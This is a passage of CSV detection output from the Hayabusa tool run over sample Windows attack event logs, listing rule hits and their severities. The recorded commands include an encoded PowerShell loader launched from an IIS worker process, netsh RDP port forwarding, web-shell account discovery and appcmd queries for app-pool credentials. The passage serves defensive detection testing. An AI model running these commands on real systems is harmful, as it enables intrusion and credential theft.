",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_msxsl_xsl_sysmon_1_7.evtx +2019-05-24 02:26:08.716 +09:00,IEWIN7,1,medium,XSL Script Processing,,rules/sigma/process_creation/win_xsl_script_processing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_msxsl_xsl_sysmon_1_7.evtx +2019-05-24 02:26:09.437 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: msxsl.exe c:\Users\IEUser\AppData\Roaming\Adobe\test.dat c:\Users\IEUser\AppData\Roaming\Adobe\test.dat",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_msxsl_xsl_sysmon_1_7.evtx +2019-05-24 02:45:34.538 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_portforward_netsh_rdp_sysmon_13_1.evtx +2019-05-24 02:46:04.671 +09:00,IEWIN7,1,informational,Process Creation,"Command: netsh I p a v l=8001 listena=1.2.3.4 connectp=3389 c=1.2.3.5 : Path: C:\Windows\System32\netsh.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_portforward_netsh_rdp_sysmon_13_1.evtx +2019-05-24 02:46:04.671 +09:00,IEWIN7,1,medium,Netsh Port Forwarding,,rules/sigma/process_creation/win_netsh_port_fwd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_portforward_netsh_rdp_sysmon_13_1.evtx +2019-05-24 02:46:04.671 +09:00,IEWIN7,1,high,Netsh RDP Port Forwarding,,rules/sigma/process_creation/win_netsh_port_fwd_3389.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_portforward_netsh_rdp_sysmon_13_1.evtx +2019-05-24 10:33:53.112 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""c:\windows\system32\cmd.exe"" /c net user : Path: C:\Windows\System32\cmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: c:\windows\system32\inetsrv\w3wp.exe -ap ""DefaultAppPool"" -v ""v2.0"" -l ""webengine4.dll"" -a \\.\pipe\iisipm719e5ea8-b97b-40d0-96b6-44cca91790fe -h ""C:\inetpub\temp\apppools\DefaultAppPool\DefaultAppPool.config"" -w """" -m 0 -t 20",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_typical_IIS_webshell_sysmon_1_10_traces.evtx +2019-05-24 10:33:53.112 +09:00,IEWIN7,1,high,Shells Spawned by Web Servers,,rules/sigma/process_creation/win_webshell_spawn.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_typical_IIS_webshell_sysmon_1_10_traces.evtx +2019-05-24 10:33:53.122 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_typical_IIS_webshell_sysmon_1_10_traces.evtx +2019-05-24 10:33:53.182 +09:00,IEWIN7,1,informational,Process Creation,"Command: net user : Path: C:\Windows\System32\net.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""c:\windows\system32\cmd.exe"" /c net user",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_typical_IIS_webshell_sysmon_1_10_traces.evtx +2019-05-24 10:33:53.182 +09:00,IEWIN7,1,low,Net.exe Execution,,rules/sigma/process_creation/win_susp_net_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_typical_IIS_webshell_sysmon_1_10_traces.evtx +2019-05-24 10:33:53.182 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_typical_IIS_webshell_sysmon_1_10_traces.evtx +2019-05-24 10:33:53.192 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\net1 user : Path: C:\Windows\System32\net1.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: net user,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_typical_IIS_webshell_sysmon_1_10_traces.evtx +2019-05-24 10:33:53.192 +09:00,IEWIN7,1,low,Net.exe Execution,,rules/sigma/process_creation/win_susp_net_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_typical_IIS_webshell_sysmon_1_10_traces.evtx +2019-05-24 10:33:53.192 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_typical_IIS_webshell_sysmon_1_10_traces.evtx +2019-05-26 13:01:42.385 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Users\IEUser\Desktop\info.rar\jjs.exe"" : Path: C:\Users\IEUser\Desktop\info.rar\jjs.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/apt10_jjs_sideloading_prochollowing_persist_as_service_sysmon_1_7_8_13.evtx +2019-05-26 13:01:42.966 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Users\IEUser\Desktop\info.rar\jjs.exe"" : Path: C:\Users\IEUser\Desktop\info.rar\jjs.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/apt10_jjs_sideloading_prochollowing_persist_as_service_sysmon_1_7_8_13.evtx +2019-05-26 13:01:43.567 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\Windows\system32\svchost.exe : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Users\IEUser\Desktop\info.rar\jjs.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/apt10_jjs_sideloading_prochollowing_persist_as_service_sysmon_1_7_8_13.evtx +2019-05-26 13:01:43.567 +09:00,IEWIN7,1,high,Suspicious Svchost Process,,rules/sigma/process_creation/win_susp_svchost.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/apt10_jjs_sideloading_prochollowing_persist_as_service_sysmon_1_7_8_13.evtx +2019-05-26 13:01:43.567 +09:00,IEWIN7,1,low,Windows Processes Suspicious Parent Directory,,rules/sigma/process_creation/win_proc_wrong_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/apt10_jjs_sideloading_prochollowing_persist_as_service_sysmon_1_7_8_13.evtx +2019-05-26 13:01:43.567 +09:00,IEWIN7,1,critical,Suspect Svchost Activity,,rules/sigma/process_creation/win_susp_svchost_no_cli.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/apt10_jjs_sideloading_prochollowing_persist_as_service_sysmon_1_7_8_13.evtx +2019-05-27 00:47:56.667 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\Windows\System32\notepad.exe : Path: C:\Windows\System32\notepad.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: c:\windows\system32\inetsrv\w3wp.exe -ap ""DefaultAppPool"" -v ""v2.0"" -l ""webengine4.dll"" -a \\.\pipe\iisipmb9da32d5-aa43-42fc-aeea-0cc226e10973 -h ""C:\inetpub\temp\apppools\DefaultAppPool\DefaultAppPool.config"" -w """" -m 0 -t 20",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:47:56.667 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:47:56.727 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:47:57.628 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:47:58.830 +09:00,IEWIN7,3,high,Notepad Making Network Connection,,rules/sigma/network_connection/sysmon_notepad_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:47:58.830 +09:00,IEWIN7,3,high,Notepad Making Network Connection,,rules/sigma/network_connection/sysmon_notepad_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:47:59.871 +09:00,IEWIN7,3,high,Notepad Making Network Connection,,rules/sigma/network_connection/sysmon_notepad_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:47:59.871 +09:00,IEWIN7,3,high,Notepad Making Network Connection,,rules/sigma/network_connection/sysmon_notepad_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:48:00.732 +09:00,IEWIN7,3,high,Notepad Making Network Connection,,rules/sigma/network_connection/sysmon_notepad_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:48:00.732 +09:00,IEWIN7,3,high,Notepad Making Network Connection,,rules/sigma/network_connection/sysmon_notepad_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:48:00.752 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\notepad.exe"" : Path: C:\Windows\System32\notepad.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\System32\notepad.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:48:01.864 +09:00,IEWIN7,3,high,Notepad Making Network Connection,,rules/sigma/network_connection/sysmon_notepad_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 10:28:42.711 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA== : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: c:\windows\system32\inetsrv\w3wp.exe -ap ""DefaultAppPool"" -v ""v2.0"" -l ""webengine4.dll"" -a \\.\pipe\iisipm7486e07c-453c-4f8e-85c6-8c8e3be98cd5 -h ""C:\inetpub\temp\apppools\DefaultAppPool\DefaultAppPool.config"" -w """" -m 0 -t 20",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:28:42.711 +09:00,IEWIN7,1,high,Suspicious PowerShell Parent Process,,rules/sigma/process_creation/win_susp_powershell_parent_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:28:42.711 +09:00,IEWIN7,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:28:42.711 +09:00,IEWIN7,1,high,Shells Spawned by Web Servers,,rules/sigma/process_creation/win_webshell_spawn.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:28:42.711 +09:00,IEWIN7,1,medium,Too Long PowerShell Commandlines,,rules/sigma/process_creation/sysmon_long_powershell_commandline.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.000 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\InetSRV\appcmd.exe"" list vdir /text:physicalpath : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.110 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppools /text:name : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.190 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool ""ERROR ( message:Configuration error "" /text:processmodel.username : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: 